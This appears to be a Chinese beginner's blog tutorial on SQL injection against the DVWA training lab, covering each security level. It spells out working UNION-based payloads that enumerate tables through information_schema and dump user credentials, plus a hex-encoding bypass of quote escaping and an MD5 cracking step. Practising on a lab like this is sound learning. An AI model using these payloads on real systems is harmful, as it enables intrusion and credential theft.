小白浅谈SQL注入(二)
当你的才华
还撑不起的野心时
那你就应该静下心来学习
今天我们来实战(大佬勿喷)
这里我们使用dvwa进行实战。
实战坏境
下载DVWA 渗透演练平台,Dvwa是用php语言写的安全测试平台,所以我们先要创建一个php开发集成环境。我们可以采用最简单的方法,只要安装上phpstudy,就安装了php开发集成环境。
首先将DVWA解压在phpstudy的WWW目录中,
然后打开config,把config.inc.php.list改为config.inc.php,用记事本打开,修改配置。
然后打开(打开过程就不细说了),登陆(应户名:admin,密码:password)。
然后…开始正题。
dvwa之sql注入学习(不同级别)
等级(low)
从页面上看到,有一个可以提交查询内容的地方
我们可以通过以下步骤开始注入
1.判断这里是否存在注入点
- 输入1,提交
- 输入1’,提交
- 输入1 and 1=1,提交
- 输入 1 and 1=2,提交
从以上可以看出是存在注入点的,
2.判断字段数(二分法常用)
输入 1’ order by 3# 返回错误
输入 1’ order by 2# 返回正常
说明字段数为2
3.判断回显点
输入 1’ union select 1,2#
4.判断数据库版本和数据库名
输入 1’ union select 1,concat(version(),’:’,database())#
显示当前数据库版本5.5 数据库为dvwa
版本5.5说明有一个系统表 information_schema.tables 该表存着数据库所有表的名字
5.接下来就是重头戏了
-
爆表试一试
输入 1’ union select 1,table_name from information_schema.tables where table_schema=‘dvwa’#
其中users就比较敏感了。 -
爆出表users下的列
输入 1’ union select 1,column_name from information_schema.columns where table_name=‘users’#
也可以这样 1’ union select 1,group_concat(column_name) from information_schema.columns where table_name=‘users’#
可以看出有好多的列,但是重要的应该是user列和password列,我们爆出这两列的字段内容 -
爆出user 和password
输入 1’ union select 1,concat(user,":",password) from users#
等级(Medium)
- 打开一看,发现…点提交试试
别慌
这里
发现不是get注入,应该是把提交的数据存放到post数据中了.
然后直接burp抓包
改为 1’ ,直接报错
改为 1 and 1=1,返回正常
改为 1 and 1=2 ,返回不报错但显示异常
可以判定为数字型注入
2.以往操作判断字段数
order by 3报错
order by 2,正常
字段数为2
3. 判断回显点 (与low等级相同)
4.报数据库名 (与low等级相同)库名dvwa
5. 爆表
改为id=1 union select 1,table_name from information_schema.tables where table_schema=‘dvwa’&Submit=Submit,发现
右边报错信息与自己所写语句不一致,(因为单引号被转义了)
我们来查看源码
发现有一个函数mysqli_real_escape_string
于是百度一波然后我们可以这样id=1 union select 1,table_name from information_schema.tables where table_schema=database()&Submit=Submit
接下来爆出表中的列
发现这就尴尬了’users’用啥来代替呢
这是我们就可以把users转为16进制数来绕过
id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273&Submit=Submit
获取user和password
id=1 union select 1,concat(user,password) from users&Submit=Submit
over!!!
等级(high)
首先查看下源代码
High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果
虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。由于手工注入的过程与Low级别基本一样,我们直接最后一步
1’ union select user,password from users#
等级( impossible)
查看源代码
采用了PDO技术,划清了代码与数据的界限,从而有效地防御SQL注入; 且只有当返回的查询结果数量为1时,才会输出。
解法还不会…
一般密码是通过md5加密的,现在试试解密一下
解密完成。
你不需要很厉害才能开始,但你需要开始才能很厉害,共勉。